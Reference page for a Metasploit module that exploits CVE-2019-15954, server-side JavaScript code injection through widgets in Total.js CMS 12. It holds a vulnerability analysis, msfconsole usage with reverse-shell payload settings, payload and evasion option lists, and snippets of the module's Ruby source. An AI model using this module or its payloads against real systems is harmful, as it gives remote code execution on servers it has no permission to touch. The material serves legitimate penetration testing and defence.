Total.js CMS 12 Widget JavaScript Code Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/totaljs_cms_widget_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: Total.js CMS 12 Widget JavaScript Code Injection
Module: exploit/multi/http/totaljs_cms_widget_exec
Source code: modules/exploits/multi/http/totaljs_cms_widget_exec.rb
Disclosure date: 2019-08-30
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-15954
This module exploits a vulnerability in Total.js CMS. The issue is that a user with admin permission can embed a malicious JavaScript payload in a widget, which is evaluated server side, and gain remote code execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/multi/http/totaljs_cms_widget_exec
msf exploit(totaljs_cms_widget_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
CVE-2019-15954: Total.js CMS 12 Widget Remote Code Execution
Introduction
Total.js is a Node.js Framework for building e-commerce applications, REST services, real-time apps, or apps for Internet of Things (IoT), etc. Total.js CMS is a Content Management System (application) that is part of the Total.js framework. A commercial version is also available, and can be seen used world-wide.
In Total.js CMS, a user with admin permission may be able to create a widget, and extend CMS functionalities for visitors. However, this can also be abused to upload JavaScript code that will be evaluated server side. As a result, it is possible to embed malicious JavaScript in the new widget, and gain remote code execution.
Technical Analysis
In the CVE advisory, we know that the vulnerability is associated with widget creation, so this is where we start the analysis. To do this, I looked for the keyword "New widget" because that is on the widget creation page, and very quickly I found the HTML page for that, as well as the JavaScript located at:
- cms/themes/admin/public/forms/widgets.html
- cms/schemas/widgets.js
The widgets.html file is what you actually look at when you're adding a new widget from the GUI. After filling out the fields, you would click on the "Save" button, which in HTML is this:
And the button function is handled by the following code:
exports.submit = function(com) {
SETTER('loading', 'show');
AJAX('POST [url]api/widgets/ REPEAT', GETR('widgets.form'), function(response) {
SETTER('loading', 'hide', 1000);
if (response.success) {
SETTER('snackbar', 'success', '@(Widget has been saved successfully.)');
EXEC('widgets/refresh');
com.hide();
}
});
};
The following URI is important because it tells us the route:
AJAX('POST [url]api/widgets/ REPEAT' ...
The route map can be found in admin.js, and our code indicates we are looking at this route:
// MODEL: /schema/widgets.js
// ... Other routes ...
ROUTE('POST #admin/api/widgets/ *Widget --> @save');
// ... Other routes...
The JavaScript comment actually reveals which JS file is responsible for the widgets routes, so clearly we need to be looking at widgets.js. The route also indicates we should be looking at a save function, which links to setSave, which starts the saving process.
During the saving process, it goes through a refreshing stage (in the refresh function). Although there is a lot going on, the most interesting line is this:
var obj = compile(item.body); // Line 309 (widgets.js)
The compile function parses the source code for the new widget. Apparently, the JavaScript tag is a bit customized, for example, this isn't the standard JavaScript tag prefix, it is more specific to Total.JS:
var body = html.substring(beg, end);
var beg = body.indexOf('>') + 1;
var type = body.substring(0, beg);
body = body.substring(beg);
raw = raw.replace(type + body + '', '');
body = body.trim();
if (type.indexOf('html') !== -1 || type.indexOf('plain') !== -1)
body_template = body;
else if (type.indexOf('total') !== -1 || type.indexOf('totaljs') !== -1)
body_total = body;
else if (type.indexOf('editor') !== -1)
body_editor = body;
else
body_script = body;
After parsing, the code could be stored in a few different ways. Specifically we want to watch where these are going in code:
// Around line 258 in widgets.js
obj.js = body_script;
// ... code ...
obj.editor = body_editor;
// ... code ...
obj.template = body_template;
// ... code ...
obj.total = body_total;
// ... code ...
So that's pretty much for the compile function, and back to the refresh function. Now that we have the parsed code, let's see what refresh is doing with the object members we're interested in watching. Well, there are some interesting ones, for example, this is what happens to obj.total:
if (obj.total) {
var o = new WidgetInstace();
try {
(new Function('exports', obj.total))(o);
} catch (e) {
WARNING.message = 'Widget {0} exception: {1}'.format(item.name, e.message);
ADMIN.notify(WARNING);
}
obj.total = o;
rebuild = true;
}
As you can see here, if we have a JavaScript code block that starts like this:
Then that code goes to obj.total, and that gets executed as a new function. To mimic that code execution, open up the Developer's Tools in your browser, enter the following (which is basically what the code above is doing):
function WidgetInstance() {}
var o = new WidgetInstance();
(new Function('exports', 'console.log("Hello World!");'))(o);
And you should see that console.log is executed (which represents the user-provided script):
> function WidgetInstance() {}
var o = new WidgetInstance();
(new Function('exports', 'console.log("Hello World!");'))(o);
> VM33:3 Hello World!
Go back to menu.
Msfconsole Usage
Here is how the multi/http/totaljs_cms_widget_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/totaljs_cms_widget_exec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show info
Name: Total.js CMS 12 Widget JavaScript Code Injection
Module: exploit/multi/http/totaljs_cms_widget_exec
Platform:
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-08-30
Provided by:
Riccardo Krauter
sinn3r <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Total.js CMS on Linux
1 Total.js CMS on Mac
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path for Total.js CMS
TOTALJSPASSWORD admin yes The password for Total.js admin
TOTALJSUSERNAME admin yes The username for Total.js admin
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a vulnerability in Total.js CMS. The issue is
that a user with admin permission can embed a malicious JavaScript
payload in a widget, which is evaluated server side, and gain remote
code execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-15954
https://seclists.org/fulldisclosure/2019/Sep/5
https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf
Module Options
This is a complete list of options available in the multi/http/totaljs_cms_widget_exec exploit:
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show options
Module options (exploit/multi/http/totaljs_cms_widget_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path for Total.js CMS
TOTALJSPASSWORD admin yes The password for Total.js admin
TOTALJSUSERNAME admin yes The username for Total.js admin
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Total.js CMS on Linux
Advanced Options
Here is a complete list of advanced options supported by the multi/http/totaljs_cms_widget_exec exploit:
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show advanced
Module advanced options (exploit/multi/http/totaljs_cms_widget_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/totaljs_cms_widget_exec module can exploit:
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Total.js CMS on Linux
1 Total.js CMS on Mac
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/totaljs_cms_widget_exec exploit:
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/chmod normal No Linux Chmod
21 payload/linux/x86/exec normal No Linux Execute Command
22 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
25 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
26 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
28 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
32 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
33 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
34 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
35 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
36 payload/linux/x86/read_file normal No Linux Read File
37 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
38 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
39 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
40 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
41 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
42 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
43 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
47 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
48 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
49 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
50 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/totaljs_cms_widget_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/totaljs_cms_widget_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection timed out
Here is a relevant code snippet related to the "Connection timed out" error message:
96: 'method' => 'GET',
97: 'uri' => normalize_uri(target_uri.path, 'admin', 'widgets')
98: })
99:
100: unless res
101: vprint_error('Connection timed out')
102: return CheckCode::Unknown
103: end
104:
105: # If the admin's login page is visited too many times, we will start getting
106: # a 401 (unauthorized response). In that case, we only have a header to work
Connection timed out
Here is a relevant code snippet related to the "Connection timed out" error message:
137: 'ctype' => 'application/json',
138: 'data' => json_body
139: })
140:
141: unless res
142: fail_with(Failure::Unknown, 'Connection timed out')
143: end
144:
145: json_res = res.get_json_document
146: cookies = res.get_cookies
147: # If it's an array it could be an error, so we are specifically looking for a hash.
Invalid username or password
Here is a relevant code snippet related to the "Invalid username or password" error message:
148: if json_res.kind_of?(Hash) && json_res['success']
149: token = AdminToken.new(cookies)
150: @admin_token = token
151: return token
152: end
153: fail_with(Failure::NoAccess, 'Invalid username or password')
154: end
155:
156: def create_widget(admin_token)
157: platform = target.platform.names.first
158: host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
Connection timed out
Here is a relevant code snippet related to the "Connection timed out" error message:
179: 'ctype' => 'application/json',
180: 'data' => json_body
181: })
182:
183: unless res
184: fail_with(Failure::Unknown, 'Connection timed out')
185: end
186:
187: res_json = res.get_json_document
188: if res_json.kind_of?(Hash) && res_json['success']
189: print_good("Widget created successfully")
No success message in body
Here is a relevant code snippet related to the "No success message in body" error message:
186:
187: res_json = res.get_json_document
188: if res_json.kind_of?(Hash) && res_json['success']
189: print_good("Widget created successfully")
190: else
191: fail_with(Failure::Unknown, 'No success message in body')
192: end
193:
194: widget
195: end
196:
Connection timed out
Here is a relevant code snippet related to the "Connection timed out" error message:
201: 'cookie' => "__admin=#{admin_token.token}",
202: 'ctype' => 'application/json'
203: })
204:
205: unless res
206: fail_with(Failure::Unknown, 'Connection timed out')
207: end
208:
209: res_json = res.get_json_document
210: count = res_json['count']
211: items = res_json['items']
No count key found in body
Here is a relevant code snippet related to the "No count key found in body" error message:
209: res_json = res.get_json_document
210: count = res_json['count']
211: items = res_json['items']
212:
213: unless count
214: fail_with(Failure::Unknown, 'No count key found in body')
215: end
216:
217: unless items
218: fail_with(Failure::Unknown, 'No items key found in body')
219: end
No items key found in body
Here is a relevant code snippet related to the "No items key found in body" error message:
213: unless count
214: fail_with(Failure::Unknown, 'No count key found in body')
215: end
216:
217: unless items
218: fail_with(Failure::Unknown, 'No items key found in body')
219: end
220:
221: items.each do |item|
222: widget_name = item['name']
223: if widget_name.match(/p_/)
Connection timed out
Here is a relevant code snippet related to the "Connection timed out" error message:
252: 'ctype' => 'application/json',
253: 'data' => json_body
254: })
255:
256: unless res
257: fail_with(Failure::Unknown, 'Connection timed out')
258: end
259:
260: res_json = res.get_json_document
261: if res_json.kind_of?(Hash) && res_json['success']
262: print_good("Widget cleared successfully")
No success message in body
Here is a relevant code snippet related to the "No success message in body" error message:
259:
260: res_json = res.get_json_document
261: if res_json.kind_of?(Hash) && res_json['success']
262: print_good("Widget cleared successfully")
263: else
264: fail_with(Failure::Unknown, 'No success message in body')
265: end
266: end
267:
268: def on_request_uri(cli, req)
269: print_status("#{cli.peerhost} requesting: #{req.uri}")
No admin token found
Here is a relevant code snippet related to the "No admin token found" error message:
297: def exploit
298: user = datastore['TOTALJSUSERNAME']
299: pass = datastore['TOTALJSPASSWORD']
300: print_status("Attempting to authenticate with #{user}:#{pass}")
301: admin_token = auth(user, pass)
302: fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
303: print_good("Authenticatd as: #{user}:#{pass}")
304: print_status("Creating a widget...")
305: @widget = create_widget(admin_token)
306: super
307: end
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #12365 Merged Pull Request: Add Total.js CMS Code Injection in Widget Creation
References
- CVE-2019-15954
- https://seclists.org/fulldisclosure/2019/Sep/5
- https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/totaljs_traversal
- exploit/multi/http/cmsms_object_injection_rce
- exploit/multi/http/cmsms_showtime2_rce
- exploit/multi/http/cmsms_upload_rename_rce
- exploit/multi/http/cockpit_cms_rce
- exploit/multi/http/dotcms_file_upload_rce
- exploit/multi/http/familycms_less_exec
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/horizontcms_upload_exec
- exploit/multi/http/lcms_php_exec
- exploit/multi/http/log1cms_ajax_create_folder
- exploit/multi/http/maracms_upload_exec
- exploit/multi/http/navigate_cms_rce
- exploit/multi/http/polarcms_upload_exec
- exploit/multi/http/confluence_widget_connector
- exploit/multi/http/vbulletin_widgetconfig_rce
- exploit/multi/http/vbulletin_widget_template_rce
- exploit/aix/rpc_cmsd_opcode21
- exploit/linux/http/cayin_cms_ntp
- exploit/linux/http/gravcms_exec
- exploit/linux/http/vcms_upload
- exploit/unix/webapp/get_simple_cms_upload_exec
- exploit/unix/webapp/instantcms_exec
- exploit/windows/http/flexdotnetcms_upload_exec
- exploit/windows/nuuo/nuuo_cms_fu
- exploit/windows/nuuo/nuuo_cms_sqli
- exploit/linux/http/trendmicro_imsva_widget_exec
- exploit/windows/http/trendmicro_officescan_widget_exec
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/gather/nuuo_cms_bruteforce
- auxiliary/gather/nuuo_cms_file_download
- auxiliary/scanner/http/ektron_cms400net
- auxiliary/scanner/http/vcms_login
Authors
- Riccardo Krauter
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
